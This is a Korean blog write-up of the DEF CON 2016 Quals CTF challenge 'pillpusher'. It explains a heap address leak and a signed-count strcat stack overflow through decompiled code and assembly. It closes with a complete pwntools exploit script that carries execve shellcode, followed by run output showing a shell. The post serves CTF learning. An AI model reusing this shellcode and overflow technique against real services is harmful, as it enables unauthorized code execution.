나도 해본다, 데프콘!(feat.Defcon2016 pillpusher)

By choirish | May 12, 2017

Defcon2016 pillpusher



올 해 DEF CON 예선도 끝났습니다!

올 해 예선 시작 전에, 작년 DEF CON 예선에 출제되었던 문제를 하나 선택해서 풀어보았는데!! 윽.. 이번에도 역시 호락호락하지 않았어여…ㅋㅋㅋ

오늘 풀어볼 문제는 DEF CON 2016 Quals – pillpusher입니다.



문제 풀이 Points


[ 알약 등록 → 약사 등록 → 약국 생성 → 환자 등록 → 약 처방 ] 순서대로 실행한다.

  • 알약과 약사를 먼저 등록한 후, 등록된 알약과 약사의 정보를 이용해 약국을 생성한다.
  • 환자 등록은 약을 처방하기 전에만 하면 된다.
  • 약 처방(5번 Scrip Menu)을 할 때는 약국, 약사, 환자의 정보를 등록한 후, 처방전에 약을 추가할 수 있다(4번 Add Scrip).

[ 2) PILL MENU – 1) ADD A PILL ]에서 HEAP 주소가 LEAK되는 취약점이 존재한다.

  • 알약의 이름을 256글자로 등록하면, 알약 이름이 저장되는 buf 시작 주소로부터 256byte 뒤에 기록된 heap pointer의 주소(6byte)까지 한 덩이로 인식하여, 그 주소까지 총 262byte 길이의 알약 이름이 등록된다.
  • [ 2) Pill Menu – 3) List Pills ]에서 leak된 주소를 출력해준다. 요 leak된 주소로부터 멀리 떨어지지 않은 곳에 알약의 이름이 저장된 heap 영역의 주소가 있다!!
  • 즉! 알약의 이름에 shellcode를 포함시킨 후, shellcode의 주소를 알아내어 그 주소로 ret를 덮으면 된다!!
  • +) 해당 바이너리에는 모든 보호기법이 해제되어있으므로 힙 영역에 shellcode를 올리고 이를 실행하는 것이 가능하다.

[ 5) SCRIP MENU – 4) ADD SCRIP ]에서 알약을 무한으로 처방(?)할 수 있다.

  • “how many pills to add?”라는 질문에 추가할 알약의 개수를 입력할 수 있는데, -1을 입력하면 거의 무한으로(0xffffffff개 만큼) 알약을 추가할 수 있다.
  • 추가한 알약들의 이름이 buf [rbp-0x210]에 차곡차곡 쌓여서 (strcat 취약점 존재) 0x210byte를 가득 채우면 ret를 변조할 수 있게 된다.




[ Point 1 ] 알약 → 약사 → 약국 → 환자 → 처방


흠냐 여기서부터 본격 바이너리 탐구가 시작된다… 필자는 바이너리를 직접 실행해서 메뉴를 이것저것 다 선택해보면서 기능을 체크했다. 그리고 간혹 “안돼! 그거 아니야!” 메시지가 뜨면, ida를 켜서 올바른 루틴으로 가기 위한 입력값이 무엇인지 분석하였다.

그리하여 얻은 대략적인 메뉴 선택 순서와 그 입력값은 이러하다!


# 알약 등록 (등록할 알약 개수만큼 Add a Pill !!)
2) Pill Menu : 2  
1) Add a Pill : 1  
  - pill name : [pillname]  
  - dosage : 1  
  - schedule : 1  
  - List treats : [symptom]             ※※※ point A ※※※
  - List interacts : \n  
  - List side effects : \n  

6) Leave Menu : 6  

# 약사 등록  
3) Pharmacist Menu : 3  
1) Add Pharmacist : 1
  - Name : conchi
  - Certification : 3  

5) Back up : 5  

# 약국 생성  
1) Pharmacy Menu : 1  
1) Create Pharmacy : 1  
  - Phar name : phar1
  - Add pills : pill1                   ※※※ point B ※※※
  - Add pills : \n
  - Add staff : conchi  
  - Add staff : \n  

5) Go up : 5  

# 환자 등록  
4) Patient Menu : 4  
1) Add Patient : 1  
  - name : pati  
  - enter symptoms?(Y/n) : [symptom]    ※※※ point C ※※※

5) Leave Menu : 5  

# 약 처방
5) Scrip Menu : 5  
1) Select a Pharmacy : 1  
  - select : phar1  

2) Select a Pharmacist : 2  
  - select pharma's num : 1             ※※※ point D ※※※

3) Select a Patient : 3  
  - select : pati  

4) Add Scrip : 4  
  - how many pills to add? : -1         ※※※ point E ※※※
  - Add pill : [pillname]s


※ point A ※

  • 환자에게 처방할 알약이라면, treat 항목을 꼭 입력해줘야 한다!
  • 환자에게 해당 알약을 처방하기 위해서는 환자의 symptom과 약이 다루는 symptom이 일치해야 하기 때문!

※ point B ※

  • 여러 개의 알약을 등록할 수 있으므로 처방해야 할 알약을 약국에 모두 등록한다.

※ point C ※

  • point A에서 말한 대로, 처방할 알약에 적어준 symptom과 일치하는 symptom을 환자 정보에 등록한다.

※ point D ※

  • 여기서는 약사의 이름을 적는 게 아니라, 리스트된 약사의 앞 번호를 입력해야 한다.
  • 약사 이름(conchi)을 적었더니 “Fail”!!! 이라고 떠서 ㅇㅅㅇ??! 당황하지 마시길… (저는 많이 당황잼)

※ point E ※

  • 앞에서 고생한 것을 여기서 모두 쏟아 부을 수 있는! 중요한 포인트!
  • 여기까지 오기 위해 이 모든 것을 입력했다…
  • 여기서 무슨 일이 일어날지는 [ Point 3 ]에서 알아보기로!




[ Point 2 ] List Pills를 이용한 Leak! Leak!


[ 2) Pill Menu – 1) Add a Pill ]에서 heap 주소가 leak되는 취약점이 존재한다!
[ 1) Add a Pill ]에서 Name(알약 이름)을 입력 받는 부분의 코드를 자세히 살펴보자.


※ 참고사항 - pillpusher는 static compile한 바이너리로, 기본 라이브러리 함수도 모두 strip 되어 있다. - 필자는 각 라이브러리 함수의 기능을 어렴풋이 파악한 후, 자주 등장하는 라이브러리 함수의 이름을 변경해 두었다. - 이러한 유추 능력은 해당 함수의 형태를 자주 보고 익히면서 키워나갈 수 있다! 화이팅!


add a pill – C code

void addpill_400C12()
{
  unsigned __int64 v0; // rt0@1
  __int64 *v1; // rbx@5
  unsigned int v2; // eax@7
  __int64 *v3; // rbx@7
  __int64 *v4; // rbx@7
  __int64 buf; // [rsp-130h] [rbp-130h]@1
  __int64 *v6; // [rsp-30h] [rbp-30h]@3
  unsigned int v7; // [rsp-28h] [rbp-28h]@1
  int v8; // [rsp-24h] [rbp-24h]@1
  unsigned __int64 v9; // [rsp-8h] [rbp-8h]@1

  v0 = __getcallerseflags();
  v9 = v0;
  v8 = 0;
  v7 = 0;
  memset_408E4F((__int64)&buf, 0, 0x100u);      // buf의 크기는 최대 0x100 byte
  printf_4084EF("Pill Name: ");
  read_40018A(0, (__int64)&buf, 10, 256);       // 최대 0x100 byte까지 입력받는다.  
  if ( (unsigned int)sub_400B76((__int64)&buf) )
  {
    printf_4084EF("No home slice it is already there\n");
  }
  else
  {
    v6 = (__int64 *)malloc_4087E8(0x40u);
    v7 = strlen_408EA6((__int64)&buf);          // ※※※ point A ※※※
    if ( !v6 )
    {
      printf_4084EF("Done gone and screwed up.\n");
      exit_407AA5();
    }
    memset_408E4F((__int64)v6, 0, 0x40u);
    v1 = v6;
    *v1 = malloc_4087E8(v7 + 1);                // 0x107 byte 크기의 메모리를 할당한다.
    if ( !*v6 )
    {
      printf_4084EF("Didn't work\n");
      exit_407AA5();
    }
    memset_408E4F(*v6, 0, v7 + 1);
    v2 = strlen_408EA6((__int64)&buf);
    memcpy_409347((void *)*v6, &buf, v2);       // ※※※ point B ※※※ 
    printf_4084EF("Dosage: ");
    memset_408E4F((__int64)&buf, 0, 0x100u);

( ... skip ... )


※ point A ※

  • leak을 하기 위해서는 Name을 0x100byte로 입력하여 buf를 꽉 채워야 한다.
  • Name을 0x100 byte 입력했을 경우 여기서 v7은 0x106이 된다.
  • buf 뒤에 붙어있던 heap 주소 6자리까지 한 덩이로 인식하여 길이를 쟀기 때문

※ point B ※

  • 할당된 메모리에, 측정한 buf 값의 길이(0x106)만큼 memcpy한다.
  • 이로써 heap의 주소가 name에 노출되어 우리가 사용할 수 있게 되는 것!




좀 더 자세히 뜯어보기 위해 gdb로 한 줄 한 줄 따라가며 분석한 정보를 주석으로 달아보았다.


add a pill – asm code

.text:0000000000400C9A loc_400C9A:                             
.text:0000000000400C9A                 mov     edi, 40h
.text:0000000000400C9F                 call    malloc_4087E8
.text:0000000000400CA4                 mov     [rbp-20h], rax  // ※※※ point A ※※※  
.text:0000000000400CA8 ; 27:     v7 = strlen_408EA6((__int64)&buf);
.text:0000000000400CA8                 lea     rax, [rbp-120h]
.text:0000000000400CAF                 mov     rdi, rax
.text:0000000000400CB2                 call    strlen_408EA6
.text:0000000000400CB7                 mov     [rbp-18h], eax  // ※※※ point B ※※※
.text:0000000000400CBA ; 28:     if ( !v6 )
.text:0000000000400CBA                 mov     rax, [rbp-20h]
.text:0000000000400CBE                 test    rax, rax
.text:0000000000400CC1                 jnz     short loc_400CDC
.text:0000000000400CC3 ; 30:       printf_4084EF("Done gone and screwed up.\n");
.text:0000000000400CC3                 mov     edi, offset aDoneGoneAndScr ;
.text:0000000000400CC8                 mov     eax, 0
.text:0000000000400CCD                 call    printf_4084EF
.text:0000000000400CD2 ; 31:       exit_407AA5();
.text:0000000000400CD2                 mov     edi, 0
.text:0000000000400CD7                 call    _exit_407AA5
.text:0000000000400CDC ; 33:     memset_408E4F((__int64)v6, 0, 0x40u);
.text:0000000000400CDC
.text:0000000000400CDC loc_400CDC:                           
.text:0000000000400CDC                 mov     rax, [rbp-20h]
.text:0000000000400CE0                 mov     edx, 40h
.text:0000000000400CE5                 mov     esi, 0
.text:0000000000400CEA                 mov     rdi, rax
.text:0000000000400CED                 call    memset_408E4F
.text:0000000000400CF2 ; 34:     v1 = v6;
.text:0000000000400CF2                 mov     rbx, [rbp-20h]
.text:0000000000400CF6 ; 35:     *v1 = malloc_4087E8(v7 + 1);
.text:0000000000400CF6                 mov     eax, [rbp-18h]   // 0x107만큼 malloc
.text:0000000000400CF9                 add     eax, 1
.text:0000000000400CFC                 mov     edi, eax
.text:0000000000400CFE                 call    malloc_4087E8
.text:0000000000400D03                 mov     [rbx], rax
.text:0000000000400D06 ; 36:     if ( !*v6 )
.text:0000000000400D06                 mov     rax, [rbp-20h]
.text:0000000000400D0A                 mov     rax, [rax]
.text:0000000000400D0D                 test    rax, rax
.text:0000000000400D10                 jnz     short loc_400D2B
.text:0000000000400D12 ; 38:       printf_4084EF("Didn't work\n");
.text:0000000000400D12                 mov     edi, offset aDidnTWork ; "Didn't work\n"
.text:0000000000400D17                 mov     eax, 0
.text:0000000000400D1C                 call    printf_4084EF
.text:0000000000400D21 ; 39:       exit_407AA5();
.text:0000000000400D21                 mov     edi, 0
.text:0000000000400D26                 call    _exit_407AA5
.text:0000000000400D2B ; 41:     memset_408E4F(*v6, 0, v7 + 1);
.text:0000000000400D2B
.text:0000000000400D2B loc_400D2B:                          
.text:0000000000400D2B                 mov     eax, [rbp-18h]
.text:0000000000400D2E                 add     eax, 1
.text:0000000000400D31                 mov     edx, eax
.text:0000000000400D33                 mov     rax, [rbp-20h]
.text:0000000000400D37                 mov     rax, [rax]
.text:0000000000400D3A                 mov     esi, 0
.text:0000000000400D3F                 mov     rdi, rax
.text:0000000000400D42                 call    memset_408E4F    // 0x107만큼 memset
.text:0000000000400D47 ; 42:     v2 = strlen_408EA6((__int64)&buf);
.text:0000000000400D47                 lea     rax, [rbp-120h]
.text:0000000000400D4E                 mov     rdi, rax
.text:0000000000400D51                 call    strlen_408EA6
.text:0000000000400D56 ; 43:     memcpy_409347((void *)*v6, &buf, v2);
.text:0000000000400D56                 mov     edx, eax
.text:0000000000400D58                 mov     rax, [rbp-20h]
.text:0000000000400D5C                 mov     rax, [rax]
.text:0000000000400D5F                 lea     rcx, [rbp-120h]
.text:0000000000400D66                 mov     rsi, rcx
.text:0000000000400D69                 mov     rdi, rax
.text:0000000000400D6C                 call    memcpy_409347   // ※※※ point C ※※※


※ point A ※

  • pill structure를 가리키는 포인터 주소가 [rbp-0x20]에 들어간다.
  • 여기에 들어있는 주소가 바로 leak이 되는 주소!! (0x7ffff7ffa008)
  • 알약 이름이 들어가는 buf의 위치는 [rbp-0x120]인데, [rbp-0x20]에 이러한 주소가 들어있으니까
  • 256byte 짜리 알약 이름을 입력했을 경우, 주소까지 딸려 나오는 것!!

    ※ point B ※

  • buf 길이(0x106) 값이 [rbp-18h]에 저장된다. (이건 사실 아주 중요하지는 않다)

    ※ point C ※

  • rdi(0x7ffff7ffa050) 공간에 rsi(106byte pill name) 값을 memcpy 한다.

  • 즉, 0x7ffff7ffa050에 pill name이 저장된다!

  • 즉슨, 내가 pill name에 shellcode를 넣으면! 0x7ffff7ffa050이 바로 shellcode의 주소가 된다! 이 주소를 ret에다가 쁍 박아 넣으면 쉘이 뙇! 뜬다는 것!

  • ASLR에 의해 주소가 뒤바뀔 수 있으니 우리는 leak된 주소를 기준으로 shellcode 주소를 계산해야 한다.

  • shellcode의 주소 = leak된 주소 + 0x48

  • ∵ 0x7ffff7ffa050 = 0x7ffff7ffa008 + 0x48


memcpy 실행 전


memcpy 실행 후


heap의 주소까지 name에 저장이 되고 나면! 3번 메뉴(List Pills)를 통해 name의 값을 출력한다.


1) Add a Pill
2) Random Pill
3) List Pills
4) Modify Pill
5) "Lose" Pills
6) Leave Menu
-> 3
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ÿ


요로코롬 알아보기 어려운 문자가 끝에 붙어 나오는데, 우리는 socket으로 recv해서 끝에 붙은 주소값을 온전히 받아 낼 수 있다.

shellcode를 어떻게 담는지, shellcode의 주소는 어딘지도 알아냈으니!

ret를 덮을 수 있는 취약점을 공략하러 기기!




[ Point 3 ] Add Scrip을 이용한 Buffer Overflow!

[ 5) Scrip Menu – 4) Add Scrip ]에서 Buffer Overflow 취약점이 존재한다!
[ 4) Add Scrip ]에서 알약 개수를 입력 받는 부분의 코드를 자세히 살펴보자.


add scrip

void __usercall addscrip_4076E2(__int64 pati@, __int64 a2@, __int64 phar@, __int64 macist@)
{
  unsigned __int64 v4; // rt0@1
  int v5; // eax@15
  int v6; // eax@17
  unsigned int v7; // eax@17
  __int64 _pati; // [rsp+0h] [rbp-448h]@1
  char v9; // [rsp+18h] [rbp-430h]@4
  __int64 v10; // [rsp+218h] [rbp-230h]@4
  __int64 v11; // [rsp+220h] [rbp-228h]@4
  __int64 v12; // [rsp+228h] [rbp-220h]@4
  __int64 v13; // [rsp+230h] [rbp-218h]@4
  __int64 buf; // [rsp+238h] [rbp-210h]@7   // ※※※ point A ※※※
  unsigned __int64 v15; // [rsp+440h] [rbp-8h]@1

  v4 = __getcallerseflags();
  v15 = v4;
  _pati = pati;
  if ( phar && macist && pati )
  {
    v10 = 0LL;
    v11 = 0LL;
    v13 = 0LL;
    v12 = 0LL;
    memset_408E4F((__int64)&v9, 0, 0x200u);
    printf_4084EF("How many pills to add: ");
    v13 = (signed int)sub_400230(a2, 0);   // ※※※ point B ※※※
    if ( v13 > 2 )
      v10 = 2LL;
    else
      v10 = v13;
    memset_408E4F((__int64)&buf, 0, 0x200u);
    while ( v10 )
    {
      sub_406F72((__int64 *)phar);
      printf_4084EF("Add pill: ");
      v11 = sub_407027(phar, macist, _pati, (__int64)&buf);   // ※※※ point C ※※※
      if ( v11 == 1 )   // ※※※ point D ※※※
      {
        --v10;
        ++v12;
      }
      else if ( !v11 )
      {
        break;
      }
    }
    if ( v12 > 0 )
    {
      if ( *(_QWORD *)(_pati + 24) )
        sub_408B69(*(_QWORD *)(_pati + 24));
      v5 = strlen_408EA6((__int64)&buf);
      *(_QWORD *)(_pati + 24) = malloc_4087E8(v5 + 1);
      if ( !*(_QWORD *)(_pati + 24) )
      {
        printf_4084EF("Fail\n");
        exit_407AA5();
      }
      v6 = strlen_408EA6((__int64)&buf);
      memset_408E4F(*(_QWORD *)(_pati + 24), 0, v6 + 1);
      v7 = strlen_408EA6((__int64)&buf);
      memcpy_409347(*(void **)(_pati + 24), &buf, v7);
    }
  }
  __writeeflags(v15);
}


※ point A ※

  • Add pill에 입력한 name들이 저장되는 buf의 위치가 [rbp-210h] !!!
  • 즉 buf에 0x210 byte를 가득 채우고 나면 ret 주소를 변조할 수 있는 것!

※ point B ※

  • 추가할 알약 개수를 입력 받은 후 signed int형 변수(v13)에 저장한다.
  • v13이 2보다 적을 경우 입력 받은 값만큼 알약을 추가할 수 있다.
  • 최대 2개까지만 추가할 수 있게 하려는 목적이었을 텐데… 여기에 함정이 있다!
  • v13을 v10에 옮겨 담는데, v10은 unsigned int형 변수이다.
  • 즉, v13에 -1을 입력 받은 후 v10에 -1이 전달되면, v10은 그 값을 음수가 아니라 양수 0xffffffff로 인식한다.
  • 즉슨, 원하는 만큼 알약을 추가할 수 있게 된다!!!!

※ point C/D ※

  • point D에서 v11이 1이어야, v10(추가할 알약 개수) 값을 1씩 줄여가면서 계속 입력을 받는다.
  • 즉, point C에서 sub_407027의 리턴값이 1이어야 한다.
  • sub_407027 함수를 자세히 봐야겠다!


  • +) 분석 내용에서 필자가 미리 바꿔둔 변수 이름은 필요할 때마다 다른 부분도 분석하여 알아낸 것이다. 여러분들도 차근차근 하면 찾아낼 수 있을 것이다. 적어둔 변수 이름이 참고가 되길!




sub_407027 함수를 자세히 보자. (하이라이트이자 마지막!)

sub_407027

signed __int64 __fastcall sub_407027(__int64 phar, __int64 macist, __int64 pati, __int64 buf)
{
  unsigned __int64 v4; // rt0@1
  signed __int64 result; // rax@5
  int v6; // eax@31
  int v7; // eax@31
  int v8; // eax@31
  int v9; // eax@31
  __int64 v10; // [rsp+0h] [rbp-150h]@1
  __int64 v11; // [rsp+8h] [rbp-148h]@1
  char v12; // [rsp+20h] [rbp-130h]@6
  int v13; // [rsp+120h] [rbp-30h]@1
  __int64 v14; // [rsp+128h] [rbp-28h]@1
  __int64 v15; // [rsp+130h] [rbp-20h]@1
  int j; // [rsp+138h] [rbp-18h]@1
  int i; // [rsp+13Ch] [rbp-14h]@1
  unsigned __int64 v18; // [rsp+148h] [rbp-8h]@1

  v4 = __getcallerseflags();
  v18 = v4;
  v11 = pati;
  v10 = buf;
  i = 0;
  j = 0;
  v15 = 0LL;
  v14 = 0LL;
  v13 = 0;
  if ( phar && macist && pati && buf )
  {
    memset_408E4F((__int64)&v12, 0, 0x100u);
    if ( (unsigned int)read_40018A(0, (__int64)&v12, 10, 256) )
    {
      for ( i = 0; *(_DWORD *)(phar + 12) > i; ++i )   // pill check
      {
        if ( *(_QWORD *)(8LL * i + *(_QWORD *)(phar + 16))
          && !(unsigned int)strncmp_409234(**(_QWORD **)(8LL * i + *(_QWORD *)(phar + 16)), (__int64)&v12, 0x100u) )
        {                                       
          printf_4084EF("strncmp found it.\n");
          v14 = *(_QWORD *)(8LL * i + *(_QWORD *)(phar + 16));
          break;
        }
      }
      if ( v14 )   // v14 ≒ pill name
      {
        for ( i = 0; *(_DWORD *)(v11 + 12) > i && !v15; ++i ) // symptom_num check
        {
          if ( *(_QWORD *)(8LL * i + *(_QWORD *)(v11 + 16)) ) // symptom_name_table check
          {
            for ( j = 0; *(_DWORD *)(v14 + 48) > j && !v15; ++j )
            {
              if ( !(unsigned int)strncmp_409234(
                                    *(_QWORD *)(8LL * i + *(_QWORD *)(v11 + 16)),
                                    *(_QWORD *)(8LL * j + *(_QWORD *)(v14 + 56)),
                                    0x100u) )   // compare pill_treat with patient's symptom
                v15 = 1LL;   // ※※※ point A ※※※
            }
          }
        }
        j = strlen_408EA6(*(_QWORD *)v14);
        printf_4084EF("Len: %d\n");
        if ( v15 )   // ※※※ point B ※※※
        {
          if ( *(_DWORD *)(v14 + 12) <= *(_DWORD *)(macist + 8) )
          {
            strcat_408DA4(v10, *(_QWORD *)v14);
            v6 = j++;
            *(_BYTE *)(v6 + v10) = 0x20;   // ※※※ point C ※※※
            v7 = j++;
            *(_BYTE *)(v7 + v10) = 0x20;
            v8 = j++;
            *(_BYTE *)(v8 + v10) = 0x20;
            v9 = j++;
            *(_BYTE *)(v9 + v10) = 0x20;
            result = 1LL;   // ※※※ point D ※※※
          }
          else
          {
            printf_4084EF("This doc isn't qualified.\n");
            result = 0LL;
          }
        }
        else
        {
          printf_4084EF("Pill solves nothing. You pill pusher.\n");
          result = 0LL;
        }
      }
      else
      {
        printf_4084EF("Invalid\n");
        result = 0LL;
      }
    }
    else
    {
      printf_4084EF("Blank line.\n");
      result = 0LL;
    }
  }
  else
  {
    result = 0LL;
  }
  __writeeflags(v18);
  return result;
}


※ point A ※

  • point A에 도달하기 전의 무수한 check 구문들을 통과해야 v15 = 1이 될 수 있다.
  • v15가 1이어야 대망의 point B로 갈 수 있기 때문!

※ point B ※

  • v10(buf)에 계속해서 pill_name을 덧붙일 수 있는 strcat 취약점이 존재한다.

※ point C ※

  • buf의 시작 주소(maybe)로부터 pill_name의 길이(j)만큼의 offset 위치에 0x20을 4개 집어넣는다.
  • 첫 번째 pill_name을 입력할 때 끝 4byte에 0x20이 추가된다.
  • 그 이후의 pill_name들을 입력할 때는 buf의 가장 끝에 추가되는 게 아니므로 중요하지 않다.

※ point D ※

  • 이 부분까지 흘러 들어와야만 sub_407027 함수의 리턴값이 1이된다.


슥삭슥삭 긁어 모은 정보들을 모두 모아 익스를 짜면!?!!! 쁍!




pill_ex.py

from pwn import *

s = remote('0.0.0.0',9999)

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # 27byte
shellpill = "\x90"*229 + shellcode
Apill = "A"*100

# pill menu
s.recvuntil("-> ")
s.send("2\n")

# add pill(shellpill) to put shellcode and to leak
s.recvuntil("-> ")
s.send("1\n")
s.recvuntil("Pill Name: ") 
s.send(shellpill+"\n")
s.recvuntil("Dosage: ")
s.send("1\n")
s.recvuntil("Schedule: ")
s.send("1\n")
s.recvuntil(": ")
s.send("symptom\n\n")
s.recvuntil(": ")
s.send("\n\n")
s.recvuntil(": ")
s.send("\n\n")

# list pill to leak
s.recvuntil("-> ")
s.send("3\n")
s.recvuntil(shellpill)
leaked = s.recvuntil("\n")[:-1] # leak
leaked_addr = u64(leaked+"\x00\x00")
shell_addr = p64(leaked_addr+0x48)
log.info("leaked shell addr is : "+hex(u64(shell_addr)))
payload = "B"*24 + shell_addr

# add pill(payload) to change rip
s.recvuntil("-> ")
s.send("1\n") # add pill
s.recvuntil("Pill Name: ")
s.send(payload+"\n")
s.recvuntil("Dosage: ")
s.send("2\n")
s.recvuntil("Schedule: ")
s.send("2\n")
s.recvuntil(": ")
s.send("symptom\n\n")
s.recvuntil(": ")
s.send("\n\n")
s.recvuntil(": ")
s.send("\n\n")

# add pill(Apill) to fill stack
s.recvuntil("-> ")
s.send("1\n")
s.recvuntil("Pill Name: ")
s.send(Apill+"\n")
s.recvuntil("Dosage: ")
s.send("2\n")
s.recvuntil("Schedule: ")
s.send("2\n")
s.recvuntil(": ")
s.send("symptom\n\n")
s.recvuntil(": ")
s.send("\n\n")
s.recvuntil(": ")
s.send("\n\n")

s.recvuntil("-> ")
s.send("6\n")

# pharmacist menu
s.recvuntil("-> ")
s.send("3\n")
s.recvuntil("-> ")
s.send("1\n")
s.recvuntil(": ")
s.send("conchi\n")
s.recvuntil(": ")
s.send("3\n")

s.recvuntil("-> ")
s.send("5\n")

# patient menu
s.recvuntil("-> ")
s.send("4\n")
s.recvuntil("-> ")
s.send("1\n")
s.recvuntil(": ")
s.send("pati\n")
s.recvuntil(": ")
s.send("Y\n")
s.recvuntil(": ")
s.send("symptom\n\n")

s.recvuntil("-> ")
s.send("5\n")

# pharmacy menu
s.recvuntil("-> ")
s.send("1\n")
s.recvuntil("-> ")
s.send("1\n")
s.recvuntil("? ")
s.send("phar\n")
s.recvuntil(": ")
s.send(Apill+"\n")
s.send(payload+"\n\n")
s.recvuntil(": ")
s.send("conchi\n\n")

s.recvuntil("-> ")
s.send("5\n")

# scrip menu
s.recvuntil("-> ")
s.send("5\n")

s.recvuntil("-> ")
s.send("1\n") # select phar
s.recvuntil(": ")
s.send("phar\n")
s.recvuntil("-> ")
s.send("2\n") # select pharmacist
s.recvuntil(": ")
s.send("1\n")
s.recvuntil("-> ")
s.send("3\n") # select patient
s.recvuntil(": ")
s.send("pati\n")

# add scrip
s.recvuntil("-> ")
s.send("4\n")
s.recvuntil(": ")
s.send("-1\n")
s.recvuntil(": ")
s.send(Apill+"\n")
s.recvuntil(": ")
s.send(Apill+"\n")
s.recvuntil(": ")
s.send(Apill+"\n")
s.recvuntil(": ")
s.send(Apill+"\n")
s.recvuntil(": ")
s.send(Apill+"\n")
s.recvuntil(": ")
s.send(payload+"\n")
s.recvuntil(": ")
s.send("\n")

s.interactive()




+) 덧붙이기

  • leak을 위한 알약(shellpill)은 leak하는 데에만 썼다.
  • 버퍼를 채우기 위한 알약(Apill)은 A로 가득 메웠다.
  • 스택 공간(0x210)을 채우고 ret을 덮는 것까지 총 0x218 byte가 필요한데…
  • 사실 strcat 구문에서 “0x20” 4개가 buf에 한 번(경우에 따라 다를 수도 있는 듯!) 추가적으로 들어간다.
  • 고로, ret 주소(payload라는 알약에 포함되어 있음)를 포함하여 0x214 byte의 알약 이름을 추가시키면 된다!




익스플로잇을 실행한 결과는 요러하다.


$ python pill_ex.py 

[+] Opening connection to 0.0.0.0 on port 9999: Done
[*] leaked shell addr is : 0x7fe55f0fa050
[*] Switching to interactive mode

phar
    1) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    2) BBBBBBBBBBBBBBBBBBBBBBBBP\xa0\x0f_
          strncmp found it.
Len: 100

Pills available at: phar
    1) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    2) BBBBBBBBBBBBBBBBBBBBBBBBP\xa0\x0f_

Add pill: strncmp found it.
Len: 100

Pills available at: phar
    1) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    2) BBBBBBBBBBBBBBBBBBBBBBBBP\xa0\x0f_

Add pill: strncmp found it.
Len: 100

Pills available at: phar
    1) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    2) BBBBBBBBBBBBBBBBBBBBBBBBP\xa0\x0f_

Add pill: strncmp found it.
Len: 30

Pills available at: phar
    1) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    2) BBBBBBBBBBBBBBBBBBBBBBBBP\xa0\x0f_

Add pill: Blank line.

$ ls
ABCtest_input
input2.py
pill_ex.py
pillpusher


그럼 이만 끝! 분석하다 보면 분석할 게 불쑥불쑥 자꾸 생겨난다… 푸는 분들 모두 화이팅!

comments powered by Disqus